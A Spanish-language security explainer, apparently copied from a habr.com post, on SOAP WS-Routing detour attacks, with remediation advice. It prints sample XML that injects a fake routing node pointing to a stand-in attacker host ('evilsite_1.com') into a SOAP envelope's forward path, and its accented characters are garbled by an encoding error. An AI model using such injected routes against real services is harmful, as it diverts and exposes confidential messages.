Vulnerabilidad de desv铆os de enrutamiento SOAP

Descripci贸n


El protocolo WS-Routing es un protocolo para intercambiar mensajes SOAP de un remitente de mensaje inicial al receptor, generalmente a trav茅s de un conjunto de intermediarios. El protocolo WS-Routing se implementa como una extensi贸n SOAP y est谩 incrustado en el encabezado SOAP. WS-Routing se usa a menudo para proporcionar una forma de dirigir el tr谩fico XML a trav茅s de entornos y transacciones complejas al permitir que las estaciones intermedias en la ruta XML asignen instrucciones de enrutamiento a un documento XML.

Adoptando un enfoque minimalista, WS-Routing encapsula una ruta de mensaje dentro de un mensaje SOAP, de modo que el mensaje contiene suficiente informaci贸n para ser enviado a trav茅s de Internet utilizando transportes como TCP y UDP, mientras que admite:

  • El modelo de ruta de mensaje SOAP,
  • Full-duplex, patrones de mensajes unidireccionales,
  • Full-duplex, patrones de mensajes de solicitud-respuesta, y
  • Correlaci贸n de mensajes.

Los desv铆os de enrutamiento son un tipo de ataque "Hombre en el medio" en el que los intermediarios pueden ser inyectados o "secuestrados" para enrutar mensajes sensibles a una ubicaci贸n externa. La informaci贸n de enrutamiento (ya sea en el encabezado HTTP o en el encabezado WS-Routing) se puede modificar en la ruta y los rastros del enrutamiento se pueden eliminar del encabezado y del mensaje de modo que la aplicaci贸n receptora no se d茅 cuenta de que se ha producido un desv铆o de enrutamiento.

Problema principal


El atacante inyecta un nodo de enrutamiento falso (utilizando un servicio de referencia WS) en la tabla de enrutamiento del encabezado XML del mensaje SOAP identificado en la fase Explorar. Por lo tanto, el atacante puede enrutar el mensaje XML al nodo controlado por el atacante (y acceder al contenido del mensaje)

Ejemplo de inyecci贸n WS-Routing basada en WS-Routing de la ruta del nodo falso


<r:ref xmlns:r="http://schemas.example.com/referral"> <r:for> <r:prefix>http://example_2.com/router</r:prefix> </r:for> <r:if/> <r:go> <r:via>http://evilsite_1.com/router</r:via> </r:go> </r:ref> 

Ataque de desv铆o de enrutamiento resultante


 <S:Envelope> <S:Header> <m:path xmlns:m="http://schemas.example.com/rp/" S:actor="http://schemas.example.com/soap/actor" S:mustUnderstand="1"> <m:action>http://example_0.com/</m:action> <m:to>http://example_4.com/router</m:to> <m:id>uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f</m:id> <m:fwd> <m:via>http://example_2.com/router</m:via> <m:via>http://evilesite_1.com/router</m:via> <m:via>http://example_3.com/router</m:via> </m:fwd> <m:rev /> </m:path> </S:Header> <S:Body> ... </S:Body> </S:Envelope> 

Consecuencia


Por lo tanto, al usar Desv铆o de enrutamiento, el atacante puede enrutar el mensaje XML a un nodo controlado por piratas inform谩ticos (y acceder al contenido del mensaje).

Remediacion general


Dise帽o: especifique el n煤mero m谩ximo de nodos intermedios para la solicitud y requiera conexiones SSL con autenticaci贸n mutua.

Implementaci贸n: use SSL para conexiones entre todas las partes con autenticaci贸n mutua

Source: https://habr.com/ru/post/467681/


All Articles